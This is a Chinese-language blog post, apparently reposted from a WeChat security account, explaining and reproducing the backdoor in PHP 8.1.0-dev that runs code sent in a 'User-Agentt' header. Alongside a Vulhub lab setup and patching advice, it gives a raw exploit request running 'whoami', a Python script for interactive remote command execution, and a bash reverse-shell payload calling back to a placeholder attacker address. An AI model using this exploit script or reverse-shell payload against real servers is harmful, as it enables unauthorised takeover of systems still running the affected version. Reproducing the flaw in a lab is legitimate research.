漏洞背景
PHP开发团队意外发布了一个包含后门代码的PHP 8.1.0-dev版本。这个后门很快被安全研究人员发现并从后续版本中移除。但检索发现,仍然有站点使用未修复版本运行,本文将详细介绍该漏洞的技术细节、影响范围以及复现方法,有洞的尽快修复。
漏洞原理分析
该漏洞存在于PHP 8.1.0-dev版本中,攻击者可以通过构造特殊的HTTP请求头实现远程代码执行。具体来说,当服务器运行该版本的PHP时,攻击者只需在请求中添加特定的User-Agentt
头部(注意是双t结尾),即可执行任意PHP代码。
受影响版本
-
仅影响PHP 8.1.0-dev特定版本
-
官方已发布修复版本,建议所有用户立即升级
环境搭建教程
为了安全研究目的,我们可以使用Vulhub快速搭建漏洞测试环境:
-
进入vulhub目录:
cd vulhub/php/8.1-backdoor
启动Docker容器:
-
ocker-compose up -d
访问测试页面:
http://[your-ip]:8080/
漏洞验证与利用
基础验证方法
通过发送包含恶意代码的HTTP头,可以验证漏洞存在:
GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=LBY9g1TYdvw2RyGQCX7JTQGt7Rn6TJnDmWhyJtKwMj2nL0M6GyyY!-1150793974; JSESSIONID=0B07F68800D0F5C0D8BD254A8748E2FF
User-Agentt: zerodiumsystem("whoami");
Upgrade-Insecure-Requests: 1
自动化利用脚本
我们编写了一个Python脚本实现交互式命令执行:
import requests
host = input("请输入目标URL: ")
session = requests.Session()
while True:
try:
cmd = input("$ ")
headers = {
"User-Agentt": f"zerodiumsystem('{cmd}');"
}
response = session.get(host, headers=headers)
print(response.text.split('<!DOCTYPE html>')[0])
except KeyboardInterrupt:
print("n退出...")
break
高级利用方式
攻击者还可以通过此漏洞获取反向shell:
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/attacker-ip/port 0>&1'");
安全建议
-
立即升级到最新PHP版本
-
检查服务器是否运行受影响版本
-
部署Web应用防火墙(WAF)规则,拦截异常请求头
-
定期进行安全审计和漏洞扫描
参考资源
-
PHP官方公告
-
Vulhub漏洞环境
-
PHP版本发布说明
————————————————————————————————
注意:本文仅用于安全研究目的,未经授权测试他人系统可能违反法律。请务必在授权环境下进行测试。
原文始发于微信公众号(信安王子):PHP 8 后门漏洞分析与复现指南
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论